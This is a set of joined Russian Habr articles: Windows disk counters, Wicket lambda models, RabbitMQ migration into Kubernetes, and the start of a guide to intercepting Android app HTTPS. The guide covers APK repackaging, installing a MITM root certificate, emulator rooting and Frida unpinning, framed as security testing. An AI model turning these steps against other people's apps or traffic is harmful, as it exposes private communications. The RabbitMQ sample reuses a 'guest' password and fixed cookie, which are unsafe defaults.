\LogicalDisk(S:)\Avg. Disk sec/Read
\LogicalDisk(S:)\Avg. Disk Bytes/Transfer
\LogicalDisk(S:)\Avg. Disk Bytes/Read
\LogicalDisk(S:)\Avg. Disk Bytes/Write
\LogicalDisk(S:)\Avg. Disk Queue Length
\LogicalDisk(S:)\Avg. Disk Write Queue Length
\LogicalDisk(S:)\Avg. Disk Read Queue Length
\LogicalDisk(S:)\Current Disk Queue Length
\LogicalDisk(T:)\% Disk Time
\LogicalDisk(T:)\% Disk Write Time
\LogicalDisk(T:)\% Disk Read Time
\LogicalDisk(T:)\% Free Space
\LogicalDisk(T:)\Disk Writes/sec
\LogicalDisk(T:)\Disk Transfers/sec
\LogicalDisk(T:)\Disk Reads/sec
\LogicalDisk(T:)\% Idle Time
\LogicalDisk(T:)\Split IO/Sec
\LogicalDisk(T:)\Free Megabytes
\LogicalDisk(T:)\Disk Write Bytes/sec
\LogicalDisk(T:)\Disk Bytes/sec
\LogicalDisk(T:)\Disk Read Bytes/sec
\LogicalDisk(T:)\Avg. Disk sec/Write
\LogicalDisk(T:)\Avg. Disk sec/Transfer
\LogicalDisk(T:)\Avg. Disk sec/Read
\LogicalDisk(T:)\Avg. Disk Bytes/Transfer
\LogicalDisk(T:)\Avg. Disk Bytes/Read
\LogicalDisk(T:)\Avg. Disk Bytes/Write
\LogicalDisk(T:)\Avg. Disk Queue Length
\LogicalDisk(T:)\Avg. Disk Write Queue Length
\LogicalDisk(T:)\Avg. Disk Read Queue Length
\LogicalDisk(T:)\Current Disk Queue Length
\LogicalDisk(U:)\% Disk Time
\LogicalDisk(U:)\% Disk Write Time
\LogicalDisk(U:)\% Disk Read Time
\LogicalDisk(U:)\% Free Space
\LogicalDisk(U:)\Disk Writes/sec
\LogicalDisk(U:)\Disk Transfers/sec
\LogicalDisk(U:)\Disk Reads/sec
\LogicalDisk(U:)\% Idle Time
\LogicalDisk(U:)\Split IO/Sec
\LogicalDisk(U:)\Free Megabytes
\LogicalDisk(U:)\Disk Write Bytes/sec
\LogicalDisk(U:)\Disk Bytes/sec
\LogicalDisk(U:)\Disk Read Bytes/sec
\LogicalDisk(U:)\Avg. Disk sec/Write
\LogicalDisk(U:)\Avg. Disk sec/Transfer
\LogicalDisk(U:)\Avg. Disk sec/Read
\LogicalDisk(U:)\Avg. Disk Bytes/Transfer
\LogicalDisk(U:)\Avg. Disk Bytes/Read
\LogicalDisk(U:)\Avg. Disk Bytes/Write
\LogicalDisk(U:)\Avg. Disk Queue Length
\LogicalDisk(U:)\Avg. Disk Write Queue Length
\LogicalDisk(U:)\Avg. Disk Read Queue Length
\LogicalDisk(U:)\Current Disk Queue Length
\LogicalDisk(V:)\% Disk Time
\LogicalDisk(V:)\% Disk Write Time
\LogicalDisk(V:)\% Disk Read Time
\LogicalDisk(V:)\% Free Space
\LogicalDisk(V:)\Disk Writes/sec
\LogicalDisk(V:)\Disk Transfers/sec
\LogicalDisk(V:)\Disk Reads/sec
\LogicalDisk(V:)\% Idle Time
\LogicalDisk(V:)\Split IO/Sec
\LogicalDisk(V:)\Free Megabytes
\LogicalDisk(V:)\Disk Write Bytes/sec
\LogicalDisk(V:)\Disk Bytes/sec
\LogicalDisk(V:)\Disk Read Bytes/sec
\LogicalDisk(V:)\Avg. Disk sec/Write
\LogicalDisk(V:)\Avg. Disk sec/Transfer
\LogicalDisk(V:)\Avg. Disk sec/Read
\LogicalDisk(V:)\Avg. Disk Bytes/Transfer
\LogicalDisk(V:)\Avg. Disk Bytes/Read
\LogicalDisk(V:)\Avg. Disk Bytes/Write
\LogicalDisk(V:)\Avg. Disk Queue Length
\LogicalDisk(V:)\Avg. Disk Write Queue Length
\LogicalDisk(V:)\Avg. Disk Read Queue Length
\LogicalDisk(V:)\Current Disk Queue Length
\LogicalDisk(W:)\% Disk Time
\LogicalDisk(W:)\% Disk Write Time
\LogicalDisk(W:)\% Disk Read Time
\LogicalDisk(W:)\% Free Space
\LogicalDisk(W:)\Disk Writes/sec
\LogicalDisk(W:)\Disk Transfers/sec
\LogicalDisk(W:)\Disk Reads/sec
\LogicalDisk(W:)\% Idle Time
\LogicalDisk(W:)\Split IO/Sec
\LogicalDisk(W:)\Free Megabytes
\LogicalDisk(W:)\Disk Write Bytes/sec
\LogicalDisk(W:)\Disk Bytes/sec
\LogicalDisk(W:)\Disk Read Bytes/sec
\LogicalDisk(W:)\Avg. Disk sec/Write
\LogicalDisk(W:)\Avg. Disk sec/Transfer
\LogicalDisk(W:)\Avg. Disk sec/Read
\LogicalDisk(W:)\Avg. Disk Bytes/Transfer
\LogicalDisk(W:)\Avg. Disk Bytes/Read
\LogicalDisk(W:)\Avg. Disk Bytes/Write
\LogicalDisk(W:)\Avg. Disk Queue Length
\LogicalDisk(W:)\Avg. Disk Write Queue Length
\LogicalDisk(W:)\Avg. Disk Read Queue Length
\LogicalDisk(W:)\Current Disk Queue Length
\LogicalDisk(X:)\% Disk Time
\LogicalDisk(X:)\% Disk Write Time
\LogicalDisk(X:)\% Disk Read Time
\LogicalDisk(X:)\% Free Space
\LogicalDisk(X:)\Disk Writes/sec
\LogicalDisk(X:)\Disk Transfers/sec
\LogicalDisk(X:)\Disk Reads/sec
\LogicalDisk(X:)\% Idle Time
\LogicalDisk(X:)\Split IO/Sec
\LogicalDisk(X:)\Free Megabytes
\LogicalDisk(X:)\Disk Write Bytes/sec
\LogicalDisk(X:)\Disk Bytes/sec
\LogicalDisk(X:)\Disk Read Bytes/sec
\LogicalDisk(X:)\Avg. Disk sec/Write
\LogicalDisk(X:)\Avg. Disk sec/Transfer
\LogicalDisk(X:)\Avg. Disk sec/Read
\LogicalDisk(X:)\Avg. Disk Bytes/Transfer
\LogicalDisk(X:)\Avg. Disk Bytes/Read
\LogicalDisk(X:)\Avg. Disk Bytes/Write
\LogicalDisk(X:)\Avg. Disk Queue Length
\LogicalDisk(X:)\Avg. Disk Write Queue Length
\LogicalDisk(X:)\Avg. Disk Read Queue Length
\LogicalDisk(X:)\Current Disk Queue Length
\LogicalDisk(Y:)\% Disk Time
\LogicalDisk(Y:)\% Disk Write Time
\LogicalDisk(Y:)\% Disk Read Time
\LogicalDisk(Y:)\% Free Space
\LogicalDisk(Y:)\Disk Writes/sec
\LogicalDisk(Y:)\Disk Transfers/sec
\LogicalDisk(Y:)\Disk Reads/sec
\LogicalDisk(Y:)\% Idle Time
\LogicalDisk(Y:)\Split IO/Sec
\LogicalDisk(Y:)\Free Megabytes
\LogicalDisk(Y:)\Disk Write Bytes/sec
\LogicalDisk(Y:)\Disk Bytes/sec
\LogicalDisk(Y:)\Disk Read Bytes/sec
\LogicalDisk(Y:)\Avg. Disk sec/Write
\LogicalDisk(Y:)\Avg. Disk sec/Transfer
\LogicalDisk(Y:)\Avg. Disk sec/Read
\LogicalDisk(Y:)\Avg. Disk Bytes/Transfer
\LogicalDisk(Y:)\Avg. Disk Bytes/Read
\LogicalDisk(Y:)\Avg. Disk Bytes/Write
\LogicalDisk(Y:)\Avg. Disk Queue Length
\LogicalDisk(Y:)\Avg. Disk Write Queue Length
\LogicalDisk(Y:)\Avg. Disk Read Queue Length
\LogicalDisk(Y:)\Current Disk Queue Length
\LogicalDisk(Z:)\% Disk Time
\LogicalDisk(Z:)\% Disk Write Time
\LogicalDisk(Z:)\% Disk Read Time
\LogicalDisk(Z:)\% Free Space
\LogicalDisk(Z:)\Disk Writes/sec
\LogicalDisk(Z:)\Disk Transfers/sec
\LogicalDisk(Z:)\Disk Reads/sec
\LogicalDisk(Z:)\% Idle Time
\LogicalDisk(Z:)\Split IO/Sec
\LogicalDisk(Z:)\Free Megabytes
\LogicalDisk(Z:)\Disk Write Bytes/sec
\LogicalDisk(Z:)\Disk Bytes/sec
\LogicalDisk(Z:)\Disk Read Bytes/sec
\LogicalDisk(Z:)\Avg. Disk sec/Write
\LogicalDisk(Z:)\Avg. Disk sec/Transfer
\LogicalDisk(Z:)\Avg. Disk sec/Read
\LogicalDisk(Z:)\Avg. Disk Bytes/Transfer
\LogicalDisk(Z:)\Avg. Disk Bytes/Read
\LogicalDisk(Z:)\Avg. Disk Bytes/Write
\LogicalDisk(Z:)\Avg. Disk Queue Length
\LogicalDisk(Z:)\Avg. Disk Write Queue Length
\LogicalDisk(Z:)\Avg. Disk Read Queue Length
\LogicalDisk(Z:)\Current Disk Queue Length
\LogicalDisk(\_Total)\Avg. Disk Queue Length
\LogicalDisk(\_Total)\Avg. Disk Read Queue Length
\LogicalDisk(\_Total)\Avg. Disk Write Queue Length
\LogicalDisk(\_Total)\Avg. Disk Bytes/sec
\LogicalDisk(\_Total)\Avg. Disk Read Bytes/sec
\LogicalDisk(\_Total)\Avg. Disk Write Bytes/sec
\LogicalDisk(\_Total)\Avg. Disk Transfers/sec
\LogicalDisk(\_Total)\Avg. Disk Reads/sec
\LogicalDisk(\_Total)\Avg. Disk Writes/sec
\Processor(\_Total)\% Processor Time
\Processor(\_Total)\% Idle Time
0
0
0
0
0
0
report.html
report.xml
```
Хорошая статья по интерпретации значений [Windows Perfmon](http://blogs.technet.com/b/askcore/archive/2012/03/16/windows-performance-monitor-disk-counters-explained.aspx).
image
[Приложения](#apps)
Ниже перечень рекомендаций по настройке приложений
* [NetApp SnapManager for Oracle & SAN сеть](http://habrahabr.ru/post/230191/)
* [FlexPod Express with Microsoft Windows Server 2012 R2 Hyper-V](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-130172-16&m=tr-4350.pdf)
* [IBM DB2 on Windows](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-61322-16&m=tr-3489.pdf)
* [SAP with Microsoft SQL Server on Windows with Clustered ONTAP](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-117126-16&m=tr-4251.pdf)
* [iSCSI Software Boot for Windows with NetApp Storage](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-60199-16&m=tr-3644.pdf)
* [SAN Booting with Windows 2008/2003](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-60231-16&m=tr-3376.pdf)
* [NetApp Deployment Guides and Storage Best Practices for Windows Server 2012 R2](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-122130-16&m=tr-4301.pdf)
* [SAP with Oracle on Windows and NetApp Storage](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-61418-16&m=tr-3444.pdf)
* [Microsoft SharePoint Server Best Practices Guide](http://www.netapp.com/us/system/pdf-reader.aspx?pdfuri=tcm:10-61083-16&m=tr-3819.pdf)
* [и др.](http://www.netapp.com/us/library/)
[Драйвера](#drivers)
Не забудьте установить драйвера для вашего HBA адаптера до того, как установите NetApp Host Utility. Следуйте рекомендациям настройки HBA адаптера. Часто необходимо изменить длинну очереди и время таймаута для наиболее оптимального взаимодействия с NetApp. В случае использования виртуализации VMware ESXi или MS Hyper-V, не забудьте включить NPIV в случае необходимости проброса виртуальных HBA адапторов внутрь виртуальных машн. В некоторых адаптерах на базе технологии NPIV может быть настроен QoS, таких как [Qlogic HBA серии 8100](http://www.netapp.com/us/system/pdf-reader.aspx?m=TR-3800.pdf&cc=us). Не забывайте о матрице совместимости которая подскажет какие именно версии драйверов проверены и оттетстированы для стабильной работы в вашей среде.
[Совместимость](http://habrahabr.ru/post/154205/#compatibility)
Широко [применяйте матрицу совместимости](http://habrahabr.ru/post/154205/#Matrix) в вашей практике для уменьшения потенциальных проблем в инфрастурктуре ЦОД.
Уверен, что со временем мне будет что добавить в эту статью по оптимизации настроек Windows, так что заглядывайте сюда время от времени.
**Сообщения по ошибкам в тексте прошу направлять в ЛС.**
**Замечания и дополнения напротив прошу в комментарии** | https://habr.com/ru/post/243153/ | null | ru | null |
# Wicket+лямбды: типобезопасная и лаконичная реализация IModel
Стандартная задача при разработке веб-приложения: есть объект данных, требуется эти данные отобразить (вывести в HTML). В [Apache Wicket](http://wicket.apache.org/) данные для этого привязываются к компонентам (которые и будут заниматься отображением) с помощью моделей (реализующих интерфейс [IModel](https://wicket.apache.org/apidocs/1.4/org/apache/wicket/model/IModel.html)).
Вероятнее всего, эту публикацию будут читать те, кто уже в курсе, но на всякий случай: главный метод из IModel, который нас интересует, это:
```
T getObject();
```
Абстракция простая и лаконичная, но не всё так просто на практике. Под катом — сказ о том, как Java 8 помогла победить многословность и небезопасность стандартных подходов.
Данные
------
**Подопытный класс данных:**
```
public class User implements Serializable {
private final String name;
private final int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
```
Попытка №1: мы писали, мы писали...
-----------------------------------
Вот как можно подойти к решению поставленной задачи:
```
public class AbstractReadOnlyModelPanel extends Panel {
public AbstractReadOnlyModelPanel(String id, IModel model) {
super(id, model);
add(new Label("name", new AbstractReadOnlyModel() {
@Override
public String getObject() {
return model.getObject().getName();
}
}));
add(new Label("age", new AbstractReadOnlyModel() {
@Override
public Integer getObject() {
return model.getObject().getAge();
}
}));
}
}
```
Всё дёшево, надёжно и практично: создаём анонимный субкласс AbstractReadOnlyModel. Работает быстро, выглядит понятно. Одна проблема — из-за использования того самого анонимного класса код получается громоздкий: 6 строк на компонент — не шутка.
Попытка №2: стреляем в направлении ноги
---------------------------------------
Теперь попробуем [PropertyModel](https://wicket.apache.org/apidocs/1.4/org/apache/wicket/model/PropertyModel.html):
```
public class PropertyModelPanel extends Panel {
public PropertyModelPanel(String id, IModel model) {
super(id, model);
add(new Label("name", PropertyModel.of(model, "name")));
add(new Label("age", PropertyModel.of(model, "age")));
}
}
```
Ух ты, гораздо компактнее. Но в бочке мёда есть немало дёгтя:
* Во-первых и в-главных — компилятор нам не помощник. Можно указать несуществующее свойство, можно указать свойство не того типа, можно сделать ещё много интересных ошибок.
* Во-вторых: рефлексия. Не критично, но её наличие не радует.
На сцену выходят лямбды
-----------------------
К счастью, Java 8 уже давно выпущена, и [лямбды](https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html) вместе с [Method References](https://docs.oracle.com/javase/tutorial/java/javaOO/methodreferences.html) уже спешат на помощь:
```
public class GetterModel extends AbstractReadOnlyModel {
private final E entity;
private final IModel entityModel;
private final IPropertyGetter getter;
private GetterModel(E entity, IModel entityModel, IPropertyGetter getter) {
this.entity = entity;
this.entityModel = entityModel;
this.getter = getter;
}
public static GetterModel ofObject(E entity, IPropertyGetter getter) {
Objects.requireNonNull(entity, "Entity cannot be null");
Objects.requireNonNull(getter, "Getter cannot be null");
return new GetterModel<>(entity, null, getter);
}
public static GetterModel ofModel(IModel entityModel, IPropertyGetter getter) {
Objects.requireNonNull(entityModel, "Entity model cannot be null");
Objects.requireNonNull(getter, "Getter cannot be null");
return new GetterModel<>(null, entityModel, getter);
}
@Override
public P getObject() {
return getter.getPropertyValue(getEntity());
}
private E getEntity() {
return entityModel != null ? entityModel.getObject() : entity;
}
}
```
```
public interface IPropertyGetter {
P getPropertyValue(E entity);
}
```
Ну и сразу же пример, переписанный с этой реализацией модели:
```
public class GetterModelPanel extends Panel {
public GetterModelPanel(String id, IModel model) {
super(id, model);
add(new Label("name", GetterModel.ofModel(model, User::getName)));
add(new Label("age", GetterModel.ofModel(model, User::getAge)));
}
}
```
Почти так же кратко, как и в примере с PropertyModel, к тому же:
* типобезопасно: компилятор проверит, что тип совпадает (если, конечно, задействовать более разборчивый, чем Label, компонент);
* гораздо более безопасно с точки зрения возможности опечаток: если вы опечатаетесь, компилятор это скорее всего отловит;
* не используется рефлексия.
По сравнению с PropertyModel, правда, есть и некоторые недостатки:
* GetterModel — только для чтения, тогда как PropertyModel позволяет и писать. Добавление ещё и setter-а лишает задумку элегантности, к тому же добавляет ещё один источник ошибок (появляется возможность указать setter от одного свойства, а getter от другого).
* PropertyModel позволяет обращаться к вложенным свойствам с помощью выражений вида «outerObject.itsProperty.propertyOfProperty».
Зато есть приятный бонус: аналог магической возможности PropertyModel использовать в качестве источника данных и модели, и POJO реализуется без всякой магии: мы просто добавили два фабричных метода (ofModel() и ofObject()).
Ссылки
------
1. [Apache Wicket Framework](http://wicket.apache.org/)
2. [Java: Lambda Expressions](https://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html)
3. [Java: Method References](https://docs.oracle.com/javase/tutorial/java/javaOO/methodreferences.html) | https://habr.com/ru/post/244211/ | null | ru | null |
# Беспростойная миграция RabbitMQ в Kubernetes
RabbitMQ – написанный на языке Erlang брокер сообщений, позволяющий организовать отказоустойчивый кластер с полной репликацией данных на несколько узлов, где каждый узел может обслуживать запросы на чтение и запись. Имея в production-эксплуатации множество кластеров Kubernetes, мы поддерживаем большое количество инсталляций RabbitMQ и столкнулись с необходимостью миграции данных из одного кластера в другой без простоя.
Данная операция была необходима нам как минимум в двух случаях:
1. Перенос данных из кластера RabbitMQ, находящегося не в Kubernetes, в новый — уже «кубернетезированный» (т.е. функционирующий в pod’ах K8s) — кластер.
2. Миграция RabbitMQ в рамках Kubernetes из одного namespace в другой (например, если контуры разграничены пространствами имён, то для переноса инфраструктуры из одного контура в другой).
Предлагаемый в статье рецепт ориентирован на ситуации (но вовсе не ограничен ими), в которых есть старый кластер RabbitMQ (например, из 3 узлов), находящийся либо уже в K8s, либо на каких-то старых серверах. С ним работает приложение, размещённое в Kubernetes (уже там или в перспективе):
… и перед нами стоит задача его миграции в новый production в Kubernetes.
Сначала будет описан общий подход к самой миграции, а уже после этого — технические детали по её реализации.
Алгоритм миграции
-----------------
Первый, предварительный, этап перед какими-либо действиями — проверка, что в старой инсталляции RabbitMQ включён режим высокой доступности ([HA](https://www.rabbitmq.com/ha.html)). Причина очевидна — мы ведь не хотим потерять каких-либо данных. Чтобы осуществить эту проверку, можно зайти в админку RabbitMQ и во вкладке Admin → Policies убедиться, что установлено значение `ha-mode: all`:
Следующий шаг — поднимаем новый кластер RabbitMQ в pod’ах Kubernetes (в нашем случае, например, состоящий из 3 узлов, но их число может быть и другим).
После этого мы объединяем старый и новый кластеры RabbitMQ, получая единственный кластер (из 6 узлов):
Инициируется процесс синхронизации данных между старым и новым кластерами RabbitMQ. После того, как все данные синхронизируются между всеми узлами в кластере, мы можем переключить приложение на использование нового кластера:
После этих операций достаточно вывести из кластера RabbitMQ старые узлы, и переезд можно считать завершённым:
Эту схему мы неоднократно применяли у нас в production. Однако для собственного удобства реализовали её в рамках специализированной системы, распространяющей типовые конфигурации RMQ на множествах кластеров Kubernetes *(для тех, кому любопытно: речь идёт про [addon-operator](https://github.com/flant/addon-operator), о котором мы [совсем недавно рассказывали](https://habr.com/ru/company/flant/blog/449096/))*. Ниже будут представлены отдельно взятые инструкции, которые каждый может применить на своих инсталляциях, чтобы попробовать предлагаемое решение в действии.
Пробуем на практике
-------------------
### Требования
Реквизиты очень просты:
1. Кластер Kubernetes (подойдет и minikube);
2. Кластер RabbitMQ (может быть и развернут на bare metal, и сделан как обычный кластер в Kubernetes из официального Helm-чарта).
Для описанного ниже примера я развернул RMQ в Kubernetes и назвал его `rmq-old`.
### Подготовка стенда
1. Скачаем Helm-чарт и немного отредактируем его:
```
helm fetch --untar stable/rabbitmq-ha
```
Для удобства задаём пароль, `ErlangCookie` и делаем политику `ha-all`, чтобы по умолчанию очереди синхронизировались между всеми узлами кластера RMQ:
```
rabbitmqPassword: guest
rabbitmqErlangCookie: mae9joopaol7aiVu3eechei2waiGa2we
definitions:
policies: |-
{
"name": "ha-all",
"pattern": ".*",
"vhost": "/",
"definition": {
"ha-mode": "all",
"ha-sync-mode": "automatic",
"ha-sync-batch-size": 81920
}
}
```
2. Устанавливаем чарт:
```
helm install . --name rmq-old --namespace rmq-old
```
3. Заходим в админку RabbitMQ, создаём новую очередь и добавляем несколько сообщений. Они понадобятся для того, чтобы после миграции мы могли удостовериться, что все данные сохранились и мы ничего не потеряли:
Тестовый стенд готов: у нас есть «старый» RabbitMQ с данными, которые нужно перенести.
### Миграция кластера RabbitMQ
1. Для начала развернём новый RabbitMQ в **другом** пространстве имён с **такими же** `ErlangCookie` и паролем для пользователя. Для этого проделаем описанные выше операции, изменив конечную команду по установке RMQ на следующую:
```
helm install . --name rmq-new --namespace rmq-new
```
2. Теперь требуется объединить новый кластер со старым. Для этого заходим в каждый из pod’ов **нового** RabbitMQ и выполняем команды:
```
export OLD_RMQ=rabbit@rmq-old-rabbitmq-ha-0.rmq-old-rabbitmq-ha-discovery.rmq-old.svc.cluster.local && \
rabbitmqctl stop_app && \
rabbitmqctl join_cluster $OLD_RMQ && \
rabbitmqctl start_app
```
В переменной `OLD_RMQ` находится адрес одного из узлов **старого** кластера RMQ.
Эти команды остановят текущий узел **нового** кластера RMQ, присоединят его к старому кластеру и снова запустят.
3. Кластер RMQ из 6 узлов готов:
Необходимо подождать, пока сообщения синхронизируются между всеми узлами. Нетрудно догадаться, что время синхронизации сообщений зависит от мощностей железа, на котором развёрнут кластер, и от количества сообщений. В описываемом сценарии их всего 10, поэтому данные синхронизировались моментально, но при достаточно больших количестве сообщений синхронизация может длиться часами.
Итак, статус синхронизации:
Здесь `+5` означает, что сообщения уже находятся **ещё** на 5 узлах (кроме того, что указан в поле `Node`). Таким образом, синхронизация прошла успешно.
4. Остается лишь переключить в приложении адрес RMQ на новый кластер (конкретные действия здесь зависят от используемого вами технологического стека и другой специфики приложения), после чего можно попрощаться со старым.
Для последней операции (т.е. уже **после** переключения приложения на новый кластер) заходим на каждый узел **старого** кластера и выполняем команды:
```
rabbitmqctl stop_app
rabbitmqctl reset
```
Кластер «забыл» о старых узлах: можно удалять старый RMQ, на чём переезд будет закончен.
***Примечание**: Если вы используете RMQ с сертификатами, то принципиально ничего не меняется — процесс переезда будет осуществляться точно так же.*
Выводы
------
Описанная схема подходит практически для всех случаев, когда нам нужно перенести RabbitMQ или просто переехать в новый кластер.
В нашем случае сложности возникали только один раз, когда к RMQ обращались из множества мест, а у нас не было возможности везде поменять адрес RMQ на новый. Тогда мы запускали новый RMQ в том же пространстве имён с одинаковыми лейблами, чтобы он попадал под уже существующие сервисы и Ingress’ы, а при запуске pod’а руками манипулировали лейблами, удаляя их в начале, чтобы на пустой RMQ не попадали запросы, и добавляя их обратно после синхронизации сообщений.
Такую же стратегию мы применяли при обновлении RabbitMQ на новую версию с изменённой конфигурацией — всё работало как часы.
P.S.
----
В качестве логического продолжения этого материала мы готовим статьи про MongoDB (миграция с железного сервера в Kubernetes) и MySQL (один из вариантов «приготовления» этой СУБД внутри Kubernetes). Они будут опубликованы в ближайшие месяцы.
P.P.S.
------
Читайте также в нашем блоге:
* «[Базы данных и Kubernetes (обзор и видео доклада)](https://habr.com/company/flant/blog/431500/)»;
* «[K8s tips & tricks: Ускоряем bootstrap больших баз данных](https://habr.com/ru/company/flant/blog/417509/)». | https://habr.com/ru/post/450662/ | null | ru | null |
# SSL Unpinning для приложений Android
Добрый день, меня зовут Дегтярёв Константин, я senior security engineer в Huawei RRI. В этой статье я хотел бы поделиться методами встраивания в трафик мобильных приложений Android.
Во время оценки безопасности мобильных приложений довольно часто возникает необходимость выполнения перехвата веб-запросов. Большинство современных мобильных приложений используют такие компоненты как WebView (webkit), HttpURLConnection, OkHttp, Cronet и другие для связи с бэкенд-сервером. Например, WebView полезен, когда вам нужен расширенный контроль над пользовательским интерфейсом и расширенные параметры настройки, которые позволят вам встраивать веб-страницы в специально разработанную среду для вашего приложения. Эти компоненты используют протоколы HTTP или HTTPS. Если с HTTP все понятно, HTTPS шифруется, поэтому для расшифровки HTTPS-трафика необходима MITM-атака. Для успеха MITM-атаки приложение должно доверять сертификату прокси-сервера MITM. Если сравнивать с аудитом безопасности веб-сайтов, где сертификат MITM прокси-сервера установлен в веб-браузер и все работает гладко, то с мобильным приложением ситуация может быть совершенно иной, потому что большинство современных мобильных приложений не доверяют сертификатам пользователей и даже сертификатам системного уровня Android или IOS.
### Установка стенда
Существует два основных подхода при аудите или разработке мобильных приложений. Первый, использовать реальное устройство, второй, использовать эмулятор. В этом случае будет использоваться Android эмулятор от Android Studio.
1) Установите Android Studio. Дистрибутив можно загрузить с официального сайта [здесь](https://developer.android.com/studio).
2) В Android Studio создайте пустой проект.
3) Нажмите Сервис → Диспетчер устройств и создайте новое виртуальное устройство Android.
Предлагается следующая конфигурация. Phone → Pixel 3a → Release name - Q, API level 29, x86 ABI. Важное примечание. Эта конфигурация поставляется с Play Store, это означает, что виртуальное устройство Android не будет иметь прав root по умолчанию, но это дает преимущество полноценной версии Android с Play Store. В качестве альтернативы можно выбрать модель устройства, такую как Pixel 3a XL, он не будет поставляться с Play Store, но будет иметь root доступ изначально.
5) Запустите созданное виртуальное устройство Android.
В этот момент AVD (Android virtual device) готово и тестируемое приложение может быть установлено. Существует два основных метода перехвата HTTPS-трафика приложения:
1. Установить пользовательский CA сертификат (MITM-сервера) на AVD. Если исследуемое приложение доверяет пользовательским сертификатам или сертификатам системного уровня, это сработает.
2. Пропатчить запущенное приложение прямо в памяти – выполнить SSL Unpinning.
Опыт показывает, что переупаковка исследуемого приложения, с изменением определений доверенности сертификатов приложения и установкой корневого сертификата сервера MITM (метод 1) не гарантирует успешного перехвата трафика MITM сервером. С другой стороны, SSL Unpinning (метод 2) показал свою высокую надежность и эффективность.
Далее в разделах 6-9 будет описано, как реализовать модификацию определений доверенности сертификатов приложения и как произвести установку корневого сертификата сервера MITM (метод 1).
SSL Unpinning (метод 2) описан в разделе 11 ниже.
6) Перепаковка Android APK.
6.1 Скачать и установить [**Portable APK Easy Tool**](https://gitlab.com/konstantin-web-apps/ssl-unpinning/-/blob/main/APK%20Easy%20Tool%20v1.60%20Portable.zip)
6.2 В этом примере будет использовано почтовое клиентское приложение Mail.ru (Mail.ru - крупнейший российский почтовый провайдер). Андроид приложение, APK файл, можно скачать с [apkmirror.com](https://www.apkmirror.com/apk/mail-ru-group/mail-ru-email-app/mail-ru-email-app-14-26-0-37052-release/).
Запустите APK Easy Tool, выберите APK файл приложения ru.mail.mailapp.apk и нажмите кнопку Декомпилировать (Decomple).
6.3 Откройте папку с декомпилированным APK, внутри нее перейдите в папки "res" → "xml".
6.4 Внутри папки xml отредактируйте или создайте файл network\_security\_config.xml
В конфигурации необходимо явно указать, что доверительные сертификаты пользователей допустимы. Полное содержание файла должно быть следующим:
Определите конфигурацию сетевой безопасности в файле AndroidManifest.xml в базовой папке декомпилированного приложения. В теге добавьте атрибут android:networkSecurityConfig, указывающий на новый XML-файл:
**Файл AndroidManifest.xml**
6.5 В APK Easy Tool нажмите кнопку Компилировать (Compile), чтобы восстановить и подписать исправленное приложение и создать новый файл ru.mail.mailapp.apk APK.
7) Откройте в верхнем меню Вид → Окна Инструментов→ Проводник файлов устройства (View → Tool Windows → Device File Explorer). Выберите подходящую папку на виртуальном устройстве, такую как Downloads, и загрузите в нее перепаеованный APK файл ru.mail.mailapp.apk.
8) На виртуальном Android-устройстве откройте проводник файлов, найдите загруженный файл APK ru.mail.mailapp.apk и нажмите на него, чтобы установить приложение. Также подтвердите установку из ненадежного источника.
### Обратите внимание, что для перехвата запросов должна использоваться специально переупакованная версия пакета.
Далее, пользовательский клоневой сертификат CA с прокси-сервера MITM должен быть установлен на AVD.
9) Установите сертификат пользователя на устройство Android, чтобы иметь возможность просматривать и перехватывать HTTP/HTTPS трафик исследуемого приложения.
9.1 Экспорт сертификата RootCA из перехватывающего прокси-приложения, например Burp.
9.2 Переименуйте файл сертификата в cacert.crt
9.3 Загрузите сертификат в SDCARD эмулированного устройства.
9.4 В эмулированном устройстве перейдите к: Настройки → Безопасность Шифрование и учетные данные → Установка с SD-карты (**Settings → Security → Encryption & Credentials → Install from SD Card**). Выберите и установите загруженный файл сертификата casert.crt
9.5 Рекомендуется также установить корневой сертификат CA прокси-сервера MITM на уровне SYSTEM. Для этого используйте модуль [Magisk Trust User Certs](https://github.com/NVISOsecurity/MagiskTrustUserCerts). Этот модуль копирует все сертификаты уровня USER на уровень SYSTEM.
Для работы этого модуля необходимы root права на AVD с установленным приложением Magisk. Существует [приложение rootAVD](https://github.com/newbit1/rootAVD), которое позволяет легко получить root права на AVD.
10) Для модификации и перехвата HTTP/HTTPS запросов установите настройки прокси для эмулированного Android-устройства.
Запустите adb.exe и введите следующую команду:
```
adb shell settings put global http_proxy <адрес>:<порт>
```
### //-- установить общесистемный proxy сервер
### adb shell settings put global http\_proxy 10.0.2.2:8080
### //-- удалить общесистемный proxy сервер
### adb shell settings put global http\_proxy :0
```
где : - ip и порт прокси сервера, например Burp.
```
Каждый экземпляр эмулятора работает за виртуальным роутером/брандмауэром, который изолирует его от сетевых интерфейсов вашего хоста, а также от Интернета. Эмулированное устройство не может видеть ваш хост или другие экземпляры эмулятора в сети. Вместо этого он видит только то, что он подключен через Ethernet к маршрутизатору/брандмауэру.
Виртуальный маршрутизатор для каждого экземпляра управляет адресным пространством сети 10.0.2/24 — все адреса, управляемые маршрутизатором, имеют форму 10.0.2.xx, где xx — число. Адреса внутри этого пространства предварительно распределяются эмулятором/маршрутизатором следующим образом:
| | |
| --- | --- |
| **Сетевой адрес** | **Описание** |
| 10.0.2.1 | Адрес маршрутизатора/шлюза |
| 10.0.2.2 | Специальный псевдоним для интерфейса обратной связи хоста (т.е. 127.0.0.1 на вашей машине разработки) |
| 10.0.2.3 | Первый DNS-сервер |
| 10.0.2.4 / 10.0.2.5 / 10.0.2.6 | Опциональный второй, третий и четвертый DNS-сервер (если есть) |
| 10.0.2.15 | Эмуляция сетевого/ethernet-интерфейса устройства |
| 127.0.0.1 | Эмулируемый интерфейс шлейфа устройства |
11) Установка сервера Frida
11.1 Загрузите сервер Frida для Android с [GitHub](https://github.com/frida/frida/releases).
